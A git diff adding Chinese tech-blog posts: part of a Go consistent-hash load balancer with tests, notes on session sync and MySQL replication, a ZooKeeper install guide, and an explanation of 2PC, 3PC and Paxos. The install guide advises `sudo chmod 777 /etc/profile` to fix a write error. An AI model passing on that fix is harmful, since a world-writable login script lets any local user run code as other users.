Hasher + // 负载均衡领域中的一致性 Hash 算法加入了 Replica 因子,计算 Peer 的 hash 值时为 peer 的主机名增加一个索引号的后缀,索引号增量 replica 次 + // 也就是说一个 peer 的 拥有replica 个副本,n 台 peers 的规模扩展为 n x Replica 的规模,有助于进一步提高选取时的平滑度。 + replica int + // 通过每调用一次Next()函数 ,往hashRing中添加一个计算出的哈希数值 + // 从哈希列表中得到一个哈希值,然后立即得到该哈希值对应的后端的节点 + hashRing []uint32 + // 每个节点都拥有一个属于自己的hash值 + // 每往hashRing 添加一个元素就,就往map中添加一个元素 + keys map[uint32]Balancer.Peer + // 得到的节点状态是否可用 + peers map[Balancer.Peer]bool + rw sync.RWMutex +} + +// Hasher 代表可选策略 +type Hasher func(data []byte) uint32 + +// New 使用 HashKetama 创建一个新的负载均衡器实例 +func New(opts ...Balancer.Opt) Balancer.Balancer { + + return (&HashKetama{ + hasher: crc32.ChecksumIEEE, + replica: 32, + keys: make(map[uint32]Balancer.Peer), + peers: make(map[Balancer.Peer]bool), + }).init(opts...) +} + +// 典型的 “把不同参数类型的函数包装成为相同参数类型的函数” + +// WithHashFunc allows a custom hash function to be specified. +// The default Hasher hash func is crc32.ChecksumIEEE. +func WithHashFunc(hashFunc Hasher) Balancer.Opt { + return func(balancer Balancer.Balancer) { + if l, ok := balancer.(*HashKetama); ok { + l.hasher = hashFunc + } + } +} + +// WithReplica allows a custom replica number to be specified. +// The default replica number is 32. +func WithReplica(replica int) Balancer.Opt { + return func(balancer Balancer.Balancer) { + if l, ok := balancer.(*HashKetama); ok { + l.replica = replica + } + } +} + +// 让 HashKetama 指针穿过一系列的Opt函数 +func (s *HashKetama) init(opts ...Balancer.Opt) *HashKetama { + for _, opt := range opts { + opt(s) + } + return s +} + +// Balancer.Factor本质是 string 类型 +// 调用Factor()转化为string 类型 +// 让 HashKetama实现了Balancer.Balancer接口是一个具体的负载均衡器 +// 所有的HashKetama都会接收类型为Balancer.Factor的实例,Balancer.Factor的实例 +func (s *HashKetama) Next(factor Balancer.Factor) (next Balancer.Peer, c Balancer.Constrainable) { + var hash uint32 + // 生成哈希code + if h, ok := factor.(Balancer.FactorHashable); ok { + // 如果传入的是具体的实现了Balancer.FactorHashable接口的类 + // 那么肯定实现了具体的HashCode()函数,调用就ok了 + hash = h.HashCode() + } else { + // 如果只是传入了实现了父类接口的类的实例 + // 调用hasher 处理父类实例 + // factor.Factor() 把请求"https://abc.local/user/profile" + hash = s.hasher([]byte(factor.Factor())) + // s.hasher([]byte(factor.Factor()))本质是 crc32.ChecksumIEEE()函数处理得到的[]byte类型的string + // 所以重点是crc32.ChecksumIEEE()如何把[]byte转化wei hash code 的 + // 哈希Hash,就是把任意长度的输入,通过散列算法,变换成固定长度的输出,该输出就是散列值。 + // 不定长输入-->哈希函数-->定长的散列值 + // 哈希算法的本质是对原数据的有损压缩 + /* CRC检验原理实际上就是在一个p位二进制数据序列之后附加一个r位二进制检验码(序列), + 从而构成一个总长为n=p+r位的二进制序列;附加在数据序列之后的这个检验码与数据序列的内容之间存在着某种特定的关系。 + 如果因干扰等原因使数据序列中的某一位或某些位发生错误,这种特定关系就会被破坏。因此,通过检查这一关系,就可以实现对数据正确性的检验 + 注:仅用循环冗余检验 CRC 差错检测技术只能做到无差错接受(只是非常近似的认为是无差错的),并不能保证可靠传输 + */ + } + + // 根据具体的策略得到下标 + next = s.miniNext(hash) + if next != nil { + if fc, ok := factor.(Balancer.FactorComparable); ok { + next, c, _ = fc.ConstrainedBy(next) + } else if nested, ok := next.(Balancer.BalancerLite); ok { + next, c = nested.Next(factor) + } + } + + return +} + +// 已经有存储着一些哈希数值的切片 +// 产生哈希数值 +// 在切片中找到大于等于得到的哈希数值的元素 +// 该元素作为map的key一定可以找到一个节点 + +func (s *HashKetama) miniNext(hash uint32) (next Balancer.Peer) { + s.rw.RLock() + defer s.rw.RUnlock() + // 得到的hashcode 去和 hashRing[i]比较 + // sort.Search()二分查找 本质: 找到满足条件的最小的索引 + /* + //golang 官方的二分写法 (学习一波) + + func Search(n int, f func(int) bool) int { + // Define f(-1) == false and f(n) == true. + // Invariant: f(i-1) == false, f(j) == true. + i, j := 0, n + for i < j { + // avoid overflow when computing h + // 右移一位 相当于除以2 + h := int(uint(i+j) >> 1) + // i ≤ h < j + if !f(h) { + i = h + 1 // preserves f(i-1) == false + } else { + j = h // preserves f(j) == true + } + } + // i == j, f(i-1) == false, and f(j) (= f(i)) == true => answer is i. + return i + } + */ + + // 在s.hashRing找到大于等于hash的hashRing的下标 + ix := sort.Search(len(s.hashRing), func(i int) bool { + return s.hashRing[i] >= hash + }) + + // 当这个下标是最后一个下标时,相当于没有找到 + if ix == len(s.hashRing) { + ix = 0 + } + + // 如果没有找到就返回s.hashRing的第一个元素 + hashValue := s.hashRing[ix] + + // s.keys 存储 peers 每一个 peers 都有一个hashValue 对应 + // hashcode 对应 hashValue (被Slice存储) + // hashValue 对应节点 peer (被Map存储) + if p, ok := s.keys[hashValue]; ok { + if _, ok = s.peers[p]; ok { + next = p + } + } + + return +} + +/* +在 Add 实现中建立了 hashRing 结构, +它虽然是环形,但是是以数组和下标取模的方式来达成的。 +此外,keys 这个 map 解决从 peer 的 hash 值到 peer 的映射关系,今后(在 Next 中)就可以通过从 hashRing 上 pick 出一个 point 之后立即地获得相应的 peer. +在 Next 中主要是在做 factor 的 hash 值计算,计算的结果在 hashRing 上映射为一个点 pt,如果不是恰好有一个 peer 被命中的话,就向后扫描离 pt 最近的 peer。 + +*/ +func (s *HashKetama) Count() int { + s.rw.RLock() + defer s.rw.RUnlock() + return len(s.peers) +} + +func (s *HashKetama) Add(peers ...Balancer.Peer) { + s.rw.Lock() + defer s.rw.Unlock() + + for _, p := range peers { + s.peers[p] = true + for i := 0; i < s.replica; i++ { + hash := s.hasher(s.peerToBinaryID(p, i)) + s.hashRing = append(s.hashRing, hash) + s.keys[hash] = p + } + } + + sort.Slice(s.hashRing, func(i, j int) bool { + return s.hashRing[i] < s.hashRing[j] + }) +} + +func (s *HashKetama) peerToBinaryID(p Balancer.Peer, replica int) []byte { + str := fmt.Sprintf("%v-%05d", p, replica) + return []byte(str) +} + +func (s *HashKetama) Remove(peer Balancer.Peer) { + s.rw.Lock() + defer s.rw.Unlock() + + if _, ok := s.peers[peer]; ok { + delete(s.peers, peer) + } + + var keys []uint32 + var km = make(map[uint32]bool) + for i, p := range s.keys { + if p == peer { + keys = append(keys, i) + km[i] = true + } + } + + for _, key := range keys { + delete(s.keys, key) + } + + var vn []uint32 + for _, x := range s.hashRing { + if _, ok := km[x]; !ok { + vn = append(vn, x) + } + } + s.hashRing = vn +} + +func (s *HashKetama) Clear() { + s.rw.Lock() + defer s.rw.Unlock() + s.hashRing = nil + s.keys = make(map[uint32]Balancer.Peer) + s.peers = make(map[Balancer.Peer]bool) +} + +``` + +```go +func TestHash(t *testing.T) { + + h := int(uint(0+3) >> 1) + fmt.Print(h) + +} + +type ConcretePeer string + +func (s ConcretePeer) String() string { + return string(s) +} + +var factors = []Balancer.FactorString{ + "https://abc.local/user/profile", + "https://abc.local/admin/", + "https://abc.local/shop/item/1", + "https://abc.local/post/35719", +} + +func TestHash1(t *testing.T) { + lb := New() + lb.Add( + ConcretePeer("172.16.0.7:3500"), + ConcretePeer("172.16.0.8:3500"), + ConcretePeer("172.16.0.9:3500"), + ) + // 记录某个节点被调用的次数 + sum := make(map[Balancer.Peer]int) + // 记录某个具体的节点被哪些ip地址访问过 + hits := make(map[Balancer.Peer]map[Balancer.Factor]bool) + // 模拟不同时间三个ip 地址对服务端发起多次的请求 + for i := 0; i < 300; i++ { + // ip 地址依次对服务端发起多次的请求 + factor := factors[i%len(factors)] + // 把 ip 地址传进去得到具体的节点 + peer, _ := lb.Next(factor) + + sum[peer]++ + + if ps, ok := hits[peer]; ok { + // 判断该ip 地址是否之前访问过该节点 + if _, ok := ps[factor]; !ok { + // 如果没有访问过则标志为访问过 + ps[factor] = true + } + } else { + // 如过该节点对应的 (访问过该节点的map不存在)证明该节点一次都没有被访问过 + // 那么创建map来 存储该ip地址已经被访问过 + hits[peer] = make(map[Balancer.Factor]bool) + hits[peer][factor] = true + } + } + + // results + total := 0 + for _, v := range sum { + total += v + } + + for p, v := range sum { + var keys []string + // p为节点 + for fs := range hits[p] { + // 打印出每个节点被哪些ip地址访问过 + if kk, ok := fs.(interface{ String() string }); ok { + keys = append(keys, kk.String()) + } else { + keys = append(keys, fs.Factor()) + } + } + fmt.Printf("%v\nis be invoked %v nums\nis be accessed by these [%v]\n", p, v, strings.Join(keys, ",")) + } + + lb.Clear() +} + +func TestHash_M1(t *testing.T) { + lb := New() + lb.Add( + ConcretePeer("172.16.0.7:3500"), + ConcretePeer("172.16.0.8:3500"), + ConcretePeer("172.16.0.9:3500"), + ) + + var wg sync.WaitGroup + var rw sync.RWMutex + sum := make(map[Balancer.Peer]int) + + const threads = 8 + wg.Add(threads) + + // 这个是最接近业务场景的因为是并发的请求 + for x := 0; x < threads; x++ { + go func(xi int) { + defer wg.Done() + for i := 0; i < 600; i++ { + p, c := lb.Next(factors[i%3]) + adder(p, c, sum, &rw) + } + }(x) + } + wg.Wait() + // results + for k, v := range sum { + fmt.Printf("Peer:%v InvokeNum:%v\n", k, v) + } +} + +func TestHash2(t *testing.T) { + lb := New( + WithHashFunc(crc32.ChecksumIEEE), + WithReplica(16), + ) + lb.Add( + ConcretePeer("172.16.0.7:3500"), + ConcretePeer("172.16.0.8:3500"), + ConcretePeer("172.16.0.9:3500"), + ) + sum := make(map[Balancer.Peer]int) + hits := make(map[Balancer.Peer]map[Balancer.Factor]bool) + + for i := 0; i < 300; i++ { + factor := factors[i%len(factors)] + peer, _ := lb.Next(factor) + + sum[peer]++ + if ps, ok := hits[peer]; ok { + if _, ok := ps[factor]; !ok { + ps[factor] = true + } + } else { + hits[peer] = make(map[Balancer.Factor]bool) + hits[peer][factor] = true + } + } + lb.Clear() +} + +func adder(key Balancer.Peer, c Balancer.Constrainable, sum map[Balancer.Peer]int, rw *sync.RWMutex) { + rw.Lock() + defer rw.Unlock() + sum[key]++ +} + + +``` + +> 在早些年,没有区分微服务和单体应用的那些年,Hash 算法的负载均衡常常被当作神器,因为 session 保持经常是一个服务无法横向增长的关键因素,(这里就涉及到 Session 同步使得服务器可以横向扩展)而针对用户的 session-id 的 hash 值进行调度分配时,就能保证同样 session-id 的来源用户的 session 总是落到某一确定的后端服务器,从而确保了其 session 总是有效的。在 Hash 算法被扩展之后,很明显,可以用 客户端 IP 值,主机名,url 或者无论什么想得到的东西去做 hash 计算,只要得到了 hashCode,就可以应用 Hash 算法了。而像诸如客户端 IP,客户端主机名之类的标识由于其相同的 hashCode 的原因,所以对应的后端 peer 也能保持一致,这就是 session 年代 hash 算法显得重要的原因。 + +> session 同步 + +web 集群时 session 同步的 3 种方法 + +1.利用数据库同步 + +**利用数据库同步 session**用一个低端电脑建个数据库专门存放 web 服务器的 session,或者,把这个专门的数据库建在文件服务器上,用户访问 web 服务器时,会去这个专门的数据库 check 一下 session 的情况,以达到 session 同步的目的。 + +把存放 session 的表和其他数据库表放在一起,如果 mysql 也做了集群了话,每个 mysql 节点都要有这张表,并且这张 session 表的数据表要实时同步。 + +结论: 用数据库来同步 session,会加大数据库的负担,数据库本来就是容易产生瓶颈的地方,如果把 session 还放到数据库里面,无疑是雪上加霜。上面的二种方法,第一点方法较好,把放 session 的表独立开来,减轻了真正数据库的负担 + +2.利用 cookie 同步 session + +**把 session 存在 cookie 里面里面** : session 是文件的形势存放在服务器端的,cookie 是文件的形势存在客户端的,怎么实现同步呢?方法很简单,就是把用户访问页面产生的 session 放到 cookie 里面,就是以 cookie 为中转站。访问 web 服务器 A,产生了 session 把它放到 cookie 里面了,访问被分配到 web 服务器 B,这个时候,web 服务器 B 先判断服务器有没有这个 session,如果没有,在去看看客户端的 cookie 里面有没有这个 session,如果也没有,说明 session 真的不存,如果 cookie 里面有,就把 cookie 里面的 sessoin 同步到 web 服务器 B,这样就可以实现 session 的同步了。 + +说明:这种方法实现起来简单,方便,也不会加大数据库的负担,但是如果客户端把 cookie 禁掉了的话,那么 session 就无从同步了,这样会给网站带来损失;cookie 的安全性不高,虽然它已经加了密,但是还是可以伪造的。 + +3.利用 memcache 同步 session(内存缓冲) + +**利用 memcache 同步 session** :memcache 可以做分布式,如果没有这功能,他也不能用来做 session 同步。他可以把 web 服务器中的内存组合起来,成为一个"内存池",不管是哪个服务器产生的 sessoin 都可以放到这个"内存池"中,其他的都可以使用。 + +优点:以这种方式来同步 session,不会加大数据库的负担,并且安全性比用 cookie 大大的提高,把 session 放到内存里面,比从文件中读取要快很多。 + +缺点:memcache 把内存分成很多种规格的存储块,有块就有大小,这种方式也就决定了,memcache 不能完全利用内存,会产生内存碎片,如果存储块不足,还会产生内存溢出。 + +第三种方法,个人觉得第三种方法是最好的,推荐大家使用 + +## 5. 数据存储 + +> 公司存在的价值在于流量,流量需要数据,可想而知数据的存储,数据的高可用可说是公司的灵魂。那么改善数据的存储都有哪些手段或方法呢 + +### 数据主从复制 + +1.两个数据库存储一样的数据。其原理为当应用程序 A 发送更新命令到主服务器的时候,数据库会将这条命令同步记录到 Binlog 中,然后其他线程会从 Binlog 中读取并通过远程通讯的方式复制到另外服务器。服务器收到这更新日志后加入到自己 Relay Log 中,然后 SQL 执行线程从 Relay Log 中读取次日志并在本地数据库执行一遍,从而实现主从数据库同样的数据。详细步骤:1.master 将“改变/变化“记录到二进制日志(binary log)中(这些记录叫做二进制日志事件,binary log events);2.slave 将 master 的 binary log events 拷贝到它的中继日志(relay log);3.slave 重做中继日志中的事件,将改变反映它自己的数据。 + +2.MySQL 的 Binlog 日志是一种二进制格式的日志,Binlog 记录所有的 DDL 和 DML 语句(除了数据查询语句 SELECT、SHOW 等),以 Event 的形式记录,同时记录语句执行时间。Binlog 的用途:1.主从复制 想要做多机备份的业务,可以去监听当前写库的 Binlog 日志,同步写库的所有更改。2.数据恢复。因为 Binlog 详细记录了所有修改数据的 SQL,当某一时刻的数据误操作而导致出问题,或者数据库宕机数据丢失,那么可以根据 Binlog 来回放历史数据。 3.这种复制是: 某一台 Mysql 主机的数据复制到其它 Mysql 的主机(slaves)上,并重新执行一遍来实现的。复制过程中一个服务器充当主服务器,而一个或多个其它服务器充当从服务器。 + +3..mysql 支持的复制类型:(1):基于语句的复制:  在主服务器上执行的 SQL 语句,在从服务器上执行同样的语句。MySQL 默认采用基于语句的复制,效率比较高。一旦发现没法精确复制时,   会自动选着基于行的复制。(2):基于行的复制:把改变的内容复制过去,而不是把命令在从服务器上执行一遍. 从 mysql5.0 开始支持 (3.)混合类型的复制: 默认采用基于语句的复制,一旦发现基于语句的无法精确的复制时,就会采用基于行的复制。 diff --git a/_posts/2022-10-14-test-markdown.md b/_posts/2022-10-14-test-markdown.md new file mode 100644 index 000000000000..be1eeb6330cb --- /dev/null +++ b/_posts/2022-10-14-test-markdown.md @@ -0,0 +1,149 @@ +--- +layout: post +title: 安装 zookeeper (ubuntu 20.04) +subtitle: 并运行单机的实例进行验证 +tags: [ubuntu zookeeper] +--- + +#### 1、安装 JDK + +```shelll +$ sudo apt-get install openjdk-8-jre +``` + +#### 2、下载 zookeeper + +在官网下载 +or + +```shelll +$ wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.13/zookeeper-3.4.13.tar.gz +``` + +#### 3、进入有 zookeeper-3.4.13.tar.gz 压缩包的目录,然后解压 + +```shelll +$ tar -xvf zookeeper-3.4.13.tar.gz +``` + +#### 4、移动解压的文件夹到安装目录 + +安装的目录可以为任意,此处安装在/usr/local/zookeeper/ ,如果在 usr 目录下面没有 zookeeper 文件夹,需要先创建文件夹 +创建文件夹 + +```shelll +$ cd /usr/local +$ mkdir zookeeper +``` + +然后回到有解压后的 zookeeper-3.4.13 文件夹的目录后的移动解压后的文件夹 + +```shelll +$ sudo mv zookeeper-3.4.13 /usr/local/zookeeper +``` + +#### 5、为 zookeeper 创建软链接 + +为了方便以后 zookeeper 的版本更新,我们安装 zookeeper 的时候可以在同级目录下创建一个不带版本号的软链接,然后将其指向带 zookeeper 的真正目录 +即创建一个名为/usr/local/zookeeper/apache-zookeeper 的软链接向/usr/local/zookeeper/zookeeper-3.4.13,以后更新版本的话,只需要修改软链接的指向,而我们配置的环境变量都不需要做任何更改 + +```shelll +$ ln -s /usr/local/zookeeper/zookeeper-3.4.13 /usr/local/zookeeper/apache-zookeeper +``` + +#### 6、修改 PATH + +```shelll +$ sudo vim /etc/profile +``` + +如果在这里报错,大概率是/etc/profile 文件只允许读,不允许用户写入,那么`sudo chmod 777 /etc/profile` `vim /etc/profile` 按 i 插入,按 Esc 退出编辑 ,按 Shift+:输入指令 例如:`:wq 保存文件并退出vi` + +新增下面两行 + +```shelll +# 此处使用刚刚创建的软链接 +$ export ZK_HOME=/usr/local/zookeeper/apache-zookeeper +$ export PATH=$ZK_HOME/bin:$PATH +``` + +然后让刚才修改的 path 生效 + +```shelll +$ source /etc/profil +``` + +复制代码此时,zookeeper 的安装完成,启动一个单机版的测试一下 + +#### 7、修改 zoo.cfg 文件 + +zookeeper 启动时候,会读取 conf 文件夹下的 zoo.cfg 作为配置文件,因此,我们可以将源码提供的示例配置文件复制一个,做一些修改 + +```shelll +# 进入配置文件目录 +$ cd /usr/local/zookeeper/apache-zookeeper/conf + +# 复制示例配置文件 +cp zoo_sample.cfg zoo.cfg + +# 修改 zoo.cfg 配置文件 +vim zoo.cfg +``` + +修改数据存放位置 dataDir=/usr/local/zookeeper/data + +```shelll +# The number of milliseconds of each tick +tickTime=2000 +# The number of ticks that the initial +# synchronization phase can take +initLimit=10 +# The number of ticks that can pass between +# sending a request and getting an acknowledgement +syncLimit=5 +# the directory where the snapshot is stored. +# do not use /tmp for storage, /tmp here is just +# example sakes. + + +# 只需要修改此处为zookeeper数据存放位置 +dataDir=/usr/local/zookeeper/data +# the port at which the clients will connect +clientPort=2181 +# the maximum number of client connections. +# increase this if you need to handle more clients +#maxClientCnxns=60 +# +# Be sure to read the maintenance section of the +# administrator guide before turning on autopurge. +# +# http://zookeeper.apache.org/doc/current/zookeeperAdmin.html#sc_maintenance +# +# The number of snapshots to retain in dataDir +#autopurge.snapRetainCount=3 +# Purge task interval in hours +# Set to "0" to disable auto purge feature +#autopurge.purgeInterval=1 + +``` + +#### 8、开始运行并测试 + +```shelll +# 进入bin目录 +$ cd /usr/local/zookeeper/apache-zookeeper/bin + +# 执行启动命令 +$ ./zkServer.sh start + +ZooKeeper JMX enabled by default +Using config: /usr/local/zookeeper/apache-zookeeper/bin/../conf/zoo.cfg +Starting zookeeper ... STARTED + +# 查看状态 +$ ./zkServer.sh status +ZooKeeper JMX enabled by default +Using config: /usr/local/zookeeper/apache-zookeeper/bin/../conf/zoo.cfg +Mode: standalone + +``` diff --git a/_posts/2022-10-15-test-markdown.md b/_posts/2022-10-15-test-markdown.md new file mode 100644 index 000000000000..bbecb630d2ab --- /dev/null +++ b/_posts/2022-10-15-test-markdown.md @@ -0,0 +1,246 @@ +--- +layout: post +title: 分布式系统中的一致性问题 +subtitle: Zookeeper关于一致性问题的解决方案 +tags: [分布式] +--- + +# 分布式系统数据同步 + +## 分布式系统中的一致性问题 + +设计一个分布式系统必定会遇到一个问题—— 因为分区容忍性(partition tolerance)的存在,就必定要求我们需要在系统可用性(availability)和数据一致性(consistency)中做出权衡 。这就是著名的 CAP 定理。 + +简单来说:“当在消息的传播(散布)过程中,某个同学 A 已经知道了这个消息,但是抓到一个同学 B,问他们的情况,但这个同学回答不知道,那么说明整个班级系统出现了数据不一致的问题(因为 A 已经知道这个消息了)。而如果 B 他直接不回答(B 的内心:不可以告诉奥,因为我还不确定着这个消息是否被班级中的所有人知道,一个不被所有人知道的消息,我就不可以告诉),因为整个班级有消息在进行传播(为了保证一致性,需要所有人都知道才可提供服务),这个时候就出现了系统的可用性问题。 + +"系统的可用性问题":这里的可用性问题是指,当数据没有被同步到所有的机器上的时候,对于外界的请求,系统是不做出响应的。"这个就是 Eureka 的处理方式,它保证了 AP(可用性) +为了解决数据一致性问题,下面要讲的具体是 ZooKeeper 的处理方式,它保证了 CP(数据一致性)出现了很多的一致性协议和算法。 2PC(两阶段提交),3PC(三阶段提交),Paxos 算法等等。 + +### 1.一致性协议的目的(提供了消息传递的可靠通道) + +思考一个问题,同学之间如果采用传纸条的方式去传播消息,那么就会出现一个问题——我咋知道我的小纸条有没有传到我想要传递的那个人手中呢?万一被哪个家伙给劫持篡改了呢,对吧? + +这个时候就引申出一个概念—— 拜占庭将军问题 。它意指 **在不可靠信道上试图通过消息传递的方式达到一致性是不可能的, 所以所有的一致性算法的 必要前提 就是安全可靠的消息通道。** + +### 2.分布式事务存在的问题? + +业务场景: "1.用户下订单--(发消息)--> 2.给该用户的账户增加积分" +如果功能 1 仅仅是发送一个消息给功能 2,也不需要 2 给它回复,那么 1 就完全不知道 2 到底有没有收到消息,那么增加一个回复的过程,那么当积分系统收到消息后返回给订单系统一个 Response ,但在中间出现了网络波动,那个回复消息没有发送成功,订单系统是不是以为积分系统消息接收失败了?它是不是会回滚事务?但此时积分系统是成功收到消息的,它就会去处理消息然后给用户增加积分,这个时候就会出现积分加了但是订单没下成功。所以我们所需要解决的是在分布式系统中,整个调用链中,我们所有服务的数据处理要么都成功要么都失败,即所有服务的 原子性问题 。 + +### 3.具体的一致性协议--2PC(phase-commit) + +两阶段提交是一种保证分布式系统数据一致性的协议,现在很多数据库都是采用的两阶段提交协议来完成 分布式事务 的处理。 +在两阶段提交中,主要涉及到两个角色,分别是协调者和参与者。 +第一阶段:当要执行一个分布式事务的时候,事务发起者首先向协调者发起事务请求,然后协调者会给所有参与者发送 prepare 请求(其中包括事务内容)告诉参与者们需要执行事务了,如果能执行我发的事务内容那么就先执行但不提交,执行后请给我回复。然后参与者收到 prepare 消息后,他们会开始执行事务(但不提交),并将 Undo 和 Redo 信息记入事务日志中,之后参与者就向协调者反馈是否准备好了。第二阶段:第二阶段主要是协调者根据参与者反馈的情况来决定接下来是否可以进行事务的提交操作,即提交事务或者回滚事务。 +比如这个时候 所有的参与者 都返回了准备好了的消息,这个时候就进行事务的提交,协调者此时会给所有的参与者发送 Commit 请求 ,当参与者收到 Commit 请求的时候会执行前面执行的事务的 提交操作 ,提交完毕之后将给协调者发送提交成功的响应。 +而如果在第一阶段并不是所有参与者都返回了准备好了的消息,那么此时协调者将会给所有参与者发送 回滚事务的 rollback 请求,参与者收到之后将会 回滚它在第一阶段所做的事务处理 ,然后再将处理情况返回给协调者,最终协调者收到响应后便给事务发起者返回处理失败的结果。 + +事实上它只解决了各个事务的原子性问题,随之也带来了很多的问题。: + +- 单点故障问题,如果协调者挂了那么整个系统都处于不可用的状态了。 +- 阻塞问题,即当协调者发送 prepare 请求,参与者收到之后如果能处理那么它将会进行事务的处理但并不提交,这个时候会一直占用着资源不释放,如果此时协调者挂了,那么这些资源都不会再释放了,这会极大影响性能。 + +- 数据不一致问题,比如当第二阶段,协调者只发送了一部分的 commit 请求就挂了,那么也就意味着,收到消息的参与者会进行事务的提交,而后面没收到的则不会进行事务提交,那么这时候就会产生数据不一致性问题。 + +### 4.具体的一致性协议--3PC(phase-commit) + +**CanCommit 阶段**: +协调者向所有参与者发送 CanCommit 请求参与者收到请求后会根据自身情况查看是否能执行事务,如果可以则返回 YES 响应并进入预备状态,否则返回 NO 。 + +**PreCommit 阶段**: +协调者根据参与者返回的响应来决定是否可以进行下面的 PreCommit 操作。如果上面参与者返回的都是 YES,那么协调者将向所有参与者发送 PreCommit 预提交请求,参与者收到预提交请求后,会进行事务的执行操作,并将 `Undo` 和 `Redo` 信息写入事务日志中 ,最后如果参与者顺利执行了事务则给协调者返回成功的响应。如果在第一阶段协调者收到了 任何一个 NO 的信息,或者 在一定时间内 并没有收到全部的参与者的响应,那么就会中断事务,它会向所有参与者发送中断请求(abort),参与者收到中断请求之后会立即中断事务,或者在一定时间内没有收到协调者的请求,它也会中断事务。 + +**DoCommit 阶段**: +这个阶段其实和 2PC 的第二阶段差不多,如果协调者收到了所有参与者在 PreCommit 阶段的 YES 响应,那么协调者将会给所有参与者发送 DoCommit 请求,参与者收到 `DoCommit` 请求后则会进行事务的提交工作,完成后则会给协调者返回响应,协调者收到所有参与者返回的事务提交成功的响应之后则完成事务。若协调者在 PreCommit 阶段 收到了任何一个 NO 或者在一定时间内没有收到所有参与者的响应 ,那么就会进行中断请求的发送,参与者收到中断请求后则会 通过上面记录的回滚日志 来进行事务的回滚操作,并向协调者反馈回滚状况,协调者收到参与者返回的消息后,中断事务。 + +3PC 在很多地方进行了超时中断的处理,比如协调者在指定时间内为收到全部的确认消息则进行事务中断的处理,这样能 减少同步阻塞的时间 。还有需要注意的是,3PC 在 DoCommit 阶段参与者如未收到协调者发送的提交事务的请求,它会在一定时间内进行事务的提交。为什么这么做呢?是因为这个时候我们肯定保证了在第一阶段所有的协调者全部返回了可以执行事务的响应,这个时候我们有理由相信其他系统都能进行事务的执行和提交,所以不管协调者有没有发消息给参与者,进入第三阶段参与者都会进行事务的提交操作。 + +### 补充:为什么需要保持数据一致? + +而为什么要去解决数据一致性的问题?想想,如果一个秒杀系统将服务拆分成了下订单和加积分服务,这两个服务部署在不同的机器上了,万一在消息的传播过程中积分系统宕机了,总不能这边下了订单却没加积分吧?总得保证两边的数据需要一致吧? + +### 补充:分布式和集群的区别 + +一个秒杀服务,并发量太大单机系统承受不住,那我加几台服务器也 一样 提供秒杀服务,这个时候就是 Cluster 集群 。但是!!! +把一个秒杀服务 拆分成多个子服务 ,比如创建订单服务,增加积分服务,扣优惠券服务等等,然后我将这些子服务都部署在不同的服务器上 ,这个时候就是 Distributed 分布式 。 + +### 5.`Paxos` 算法 + +Paxos 算法是基于消息传递且具有高度容错特性的一致性算法,是目前公认的解决分布式一致性问题最有效的算法之一,其解决的问题就是在分布式系统中如何就某个值(决议)达成一致 。 +在 Paxos 中主要有三个角色,分别为 Proposer 提案者、Acceptor 表决者、Learner 学习者。Paxos 算法和 2PC 一样,也有两个阶段,分别为 Prepare 和 accept 阶段。 + +**prepare 阶段(试探阶段)** + +> 每个 Proposer 提案者把全局唯一且自增的提案编号发送给所有的表决者 +> Proposer 提案者:负责提出 proposal,每个提案者在提出提案时都会首先获取到一个 具有全局唯一性的、递增的提案编号 N,即在整个集群中是唯一的编号 N,然后将该编号赋予其要提出的提案,在第一阶段是只将提案编号发送给所有的表决者。 +> 每个 Acceptor 表决者接受(只接受提案 ID 比自己本地大的提案)某个 Proposer 提案者的提案后,记录该提案的 ID 到本地。 +> 每个 Acceptor 表决者批准提案的时候只返回最大编号的提案 +> Acceptor 表决者:每个表决者在 accept 某提案后,会将该提案编号 N 记录在本地,这样每个表决者中保存的已经被 accept 的提案中会存在一个编号最大的提案,其编号假设为 maxN。每个表决者仅会 accept 编号大于自己本地 maxN 的提案,在批准提案时表决者会将以前接受过的最大编号的提案作为响应反馈给 Proposer 。 + +**accept 阶段** + +当一个提案被 Proposer 提出后,如果 Proposer 收到了超过半数的 Acceptor 的批准(Proposer 本身同意),那么此时 Proposer 会给所有的 Acceptor 发送真正的提案(可以理解为第一阶段为试探),这个时候 Proposer 就会发送提案的内容和提案编号。 + +表决者收到提案请求后会再次比较本身已经批准过的最大提案编号和该提案编号,如果该提案编号 **大于等于** 已经批准过的最大提案编号,那么就 accept 该提案(此时执行提案内容但不提交),随后将情况返回给 Proposer 。如果不满足则不回应或者返回 NO 。 + +> acceptor 批准执行了该提案内容,其他没有批准的并没有执行该提案内容,所以这个时候需要向未批准的 acceptor 发送提案内容和提案编号并让它无条件执行和提交,而对于前面已经批准过该提案的 acceptor 来说 仅仅需要发送该提案的编号 ,让 acceptor 执行提交就行了。 +> 而如果 Proposer 如果没有收到超过半数的 accept 那么它将会将 递增 该 Proposal 的编号,然后 重新进入 Prepare 阶段 。 + +> 站在全局的角度去看:A 拿着一个 ID 去试探 B1、B2、B3、B4、B5 ,如果这个 ID 比 B1、B2、B3、B4、B5 存储的 ID 都小,在试探阶段首先在试探阶段 B1、B2、B3、B4、B5 中的 ID 不会被更新。表决阶段则不会通过。如果 这个 ID 大于 B1、B2、B3 ,那么首先在试探阶段 B1、B2、B3 中间最大的 ID 被该 ID 更新,然后在表决阶段通过,B1、B2、B3、B4、B5 的最大 ID 都被更新为该 ID,且更新内容。 + +> 因为从一开始,保证了 B1、B2、B3、B4、B5 被更新的 ID 都是大于等于他们原来的 ID +> 比如说,此时提案者 P1 提出一个方案 M1,完成了 Prepare 阶段的工作,这个时候 acceptor 则批准了 M1,但是此时提案者 P2 同时也提出了一个方案 M2,它也完成了 Prepare 阶段的工作。然后 P1 的方案已经不能在第二阶段被批准了(因为 acceptor 已经批准了比 M1 更大的 M2),所以 P1 自增方案变为 M3 重新进入 Prepare 阶段,然后 acceptor ,又批准了新的 M3 方案,它又不能批准 M2 了,这个时候 M2 又自增进入 Prepare 阶段 +> 解决办法,保持提案者之间的互斥。 + +# Zookeeper 对于一致性问题的解决 + +总的来说就是:如何协调各个分布式组件,如何减少各个系统之间的耦合度,分布式事务的处理,如何去配置整个分布式系统 + +## `Zookeeper` 架构 + +作为一个优秀高效且可靠的分布式协调框架,ZooKeeper 在解决分布式数据一致性问题时并没有直接使用 Paxos ,而是专门定制了一致性协议叫做 ZAB(ZooKeeper Automic Broadcast) 原子广播协议,该协议能够很好地支持 崩溃恢复 。 + +## `ZAB` 中的三个角色 + +和介绍 Paxos 一样,在介绍 ZAB 协议之前,我们首先来了解一下在 ZAB 中三个主要的角色,Leader 领导者、Follower 跟随者、Observer 观察者 。 + +Leader :集群中 唯一的写请求处理者 ,能够发起投票(投票也是为了进行写请求)。 + 